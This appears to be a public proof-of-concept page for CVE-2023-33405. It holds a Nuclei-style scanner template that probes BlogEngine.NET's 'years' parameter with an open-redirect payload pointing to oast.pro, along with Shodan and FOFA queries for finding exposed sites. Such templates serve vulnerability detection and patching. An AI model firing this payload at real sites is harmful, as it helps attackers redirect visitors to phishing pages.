CVE-2023-33405: BlogEngine CMS - Open Redirect

2025-08-01 BlogEngine CMS PoC Public

Description

Blogengine.net 3.3.8.0 and earlier is vulnerable to Open Redirect

PoC

id: CVE-2023-33405

info:
  name: BlogEngine CMS - Open Redirect
  author: Shankar Acharya
  severity: medium
  description: |
    Blogengine.net 3.3.8.0 and earlier is vulnerable to Open Redirect
  impact: |
    Unauthenticated attackers can exploit open redirect through the years parameter to redirect users to malicious websites for phishing attacks.
  remediation: |
    Update to the latest version of blogengine.net CMS  to fix the open redirect vulnerability.
  reference:
    - https://github.com/hacip/CVE-2023-33405
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33405
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-33405
    cwe-id: CWE-601
    epss-score: 0.31265
    epss-percentile: 0.98181
    cpe: cpe:2.3:a:blogengine:blogengine.net:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: blogengine
    product: blogengine.net
    shodan-query: http.html:"blogengine.net"
    fofa-query: body="blogengine.net"
  tags: cve2023,cve,Blogengine,cms,redirect,blogengine,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/default.aspx?years=http://oast.pro"

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
        part: header
# digest: 4a0a00473045022100caa95a4735d3b8482e6ac0b2171083171ab0903db113043e1e4028c6a7e7441c0220776daf1fc981eff414de1409d920453dce81d683d0eaac98071d56a16ba177b7:922c64590222798bb761d5b6d8e72950

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